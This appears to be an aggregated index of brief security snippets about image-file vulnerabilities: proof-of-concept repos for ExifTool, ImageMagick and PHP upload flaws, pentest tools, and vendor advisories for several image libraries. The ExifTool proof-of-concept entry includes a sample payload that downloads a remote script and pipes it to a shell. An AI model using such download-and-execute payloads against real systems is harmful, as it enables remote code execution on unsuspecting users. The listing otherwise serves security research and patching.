CVE-2021-22204

CVE-2021-22204 - ExifTool Arbitrary Code Execution An upgraded proof-of-concept for CVE-2021-22204, a vulnerability in ExifTool versions 7.44 through 12.23 that allows arbitrary code execution when processing malicious DjVu files. Credit This is derivative work. The vulnerability and the original...

CVE-2025-43300

CVE-2025-43300: iOS/macOS DNG Image Processing Memory Corruption Overview CVE-2025-43300 is a critical memory corruption vulnerability in Apple's image processing framework that affects iOS 18.6.1 and macOS systems. The vulnerability exists in the JPEG Lossless decompression code within...

CVE-2020-29599

CVE-2020-29599 Artifex ImageMagick lib Artifex vesrion 6.9.11-40 and 7.0. 10-40 SVG files will be converted to images...

sticky_keys_hunter

Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...

shotlooter

Introduction Shotlooter tool is developed to find sensitive data inside the screenshots which are uploaded to https://prnt.sc/ via the LightShot software by applying OCR and image processing methods. root@kitploit: +-------------------+ IMAGE FILE |!/usr/bin/python | +--------------------+ |...

CVE-2019-19634

CVE-2019-19634 - class.upload.php = 2.0.4 Arbitrary file upload Author - Jinny Ramsmark Affected vendor - Verot.net Affected product - class.upload.php = 2.0.4 Tested on newly installed Ubuntu 14.04 with PHP5 and Apache Specifically Debian/Ubuntu has been found to be vulnerable since they add the...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 This is just a convenience script I wrote for testing. Output root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates a...

ROOT-OS-DEBIAN-13-CVE-2026-56372 CVE-2026-56372 in imagemagick - Patched by Root

Root has patched CVE-2026-56372 in the imagemagick package for Root:Debian:13. Multiple fixed versions available...

ROOT-OS-DEBIAN-13-CVE-2026-61465 CVE-2026-61465 in imagemagick - Patched by Root

Root has patched CVE-2026-61465 in the imagemagick package for Root:Debian:13. Multiple fixed versions available...

CVE-2026-2390

The Powerkit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Lazy Load module's image processing in all versions up to, and including, 3.0.4. This is due to the 'contentprocessimages' function using a flawed regex-based HTML attribute parser. This makes it possible for...

CVE-2026-2390 Powerkit <= 3.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Lazy Load Image Processing

The Powerkit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Lazy Load module's image processing in all versions up to, and including, 3.0.4. This is due to the 'contentprocessimages' function using a flawed regex-based HTML attribute parser. This makes it possible for...

WordPress Powerkit plugin <= 3.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Lazy Load Image Processing vulnerability

Authenticated Contributor+ Stored Cross-Site Scripting via Lazy Load Image Processing vulnerability discovered by Muhammad Yudha - DJ in WordPress Plugin Powerkit versions = 3.0.4...

KeyDecoder

KeyDecoder KeyDecoder 是一款专为渗透测试人员和安全爱好者打造的移动应用。 通过一张钥匙的照片，即可轻松测量其牙花（bitting）。 由 Maxime BEASSE 和 Quentin CLEMENT 开发。 与 FrenchKey 以及 ESIEA 的 CNS 合作推出。 基于 Flutter 3.13.6 和 OpenCV 4.3.0 构建。 摘要 KeyDecoder 摘要 免责声明 安装 构建 Android IOS 发布版本 使用方法 拍照 裁剪 背面线 肩线 测量 常见问题 许可协议 免责声明 未经同意制作钥匙是违法的。...

CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo

CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo Bio-Formats ≤ 8.3.0 在图像处理过程中对攻击者控制的 .bfmemo 缓存文件执行不安全的 Java 反序列化；精心构造的 .bfmemo 可触发对不可信数据的反序列化（拒绝服务/逻辑篡改；若存在 gadget 链，则可能实现远程代码执行）。 安全复现（仅限本地） 此操作不会构建 gadget 链或执行代码。仅用于演示目的，展示 .bfmemo 会被反序列化。 在受控实验环境中，将 Bio-Formats 置于 classpath 中...

USN-8690-1 pillow vulnerability

It was discovered that Pillow did not properly manage memory when processing certain image files. An attacker could possibly use this issue to cause a denial of service or read sensitive data...

Important: Red Hat Security Advisory: LibRaw security update

An update for LibRaw is now available for Red Hat Enterprise Linux 9.4 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

CVE-2026-82328

A flaw was found in the file-ico plugin in GIMP. When processing a specially crafted ICO image file, the plugin does not properly validate the usedclrs palette count parameter. This incorrect validation leads to improper memory bounds checking, resulting in a heap out-of-bounds read. This issue c...

CVE-2026-68515 OpenEXR: Heap out-of-bounds write in exrmultiview with subsampled channel union

OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. In versions before 3.2.11, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13, exrmultiview can write past a heap allocation when it combines two attacker-supplied,...

Astra Linux – Vulnerability in Blender

An integer overflow in the processing of loaded 2D images leads to a “write-what-where” vulnerability and an “out-of-bounds read” vulnerability. This allows attackers to leak sensitive information or execute code within the Blender process when a specially crafted image file is loaded. This flaw...

Astra Linux – Vulnerability in WebKit2GTK

The issue was resolved through improved memory handling. This issue is fixed in Safari 17.2, macOS Sonoma 14.2, iOS 17.2, iPadOS 17.2, watchOS 10.2, tvOS 17.2, iOS 16.7.3, and iPadOS 16.7.3. Processing an image may lead to a denial-of-service...